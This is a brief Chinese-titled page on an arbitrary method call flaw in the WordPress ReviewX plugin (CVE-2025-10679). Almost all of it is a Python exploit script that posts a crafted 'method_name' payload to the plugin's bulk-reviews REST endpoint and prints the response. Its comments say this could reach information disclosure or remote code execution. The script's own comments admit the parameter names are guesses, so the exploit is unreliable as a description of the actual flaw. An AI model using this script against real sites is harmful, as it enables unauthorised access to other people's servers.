CVE-2025-10679 WordPress ReviewX插件任意方法调用漏洞

import requests # Target URL (Replace with actual target) target_url = "http://example.com/wp-json/reviewx/v1/reviews/bulk-ten-reviews" # Vulnerability occurs in the bulkTenReviews function where user input # is passed to a variable function call. We simulate triggering a method. # Depending on the available classes/methods in the WP environment, # one might trigger information disclosure or RCE. payload = { # The specific parameter name might vary based on plugin implementation, # typically involves passing the class and method name to be called. "method_name": "phpinfo", # Example method if available in scope "args": [] } try: response = requests.post(target_url, json=payload) print(f"Status Code: {response.status_code}") print("Response Body:") print(response.text) except Exception as e: print(f"An error occurred: {e}")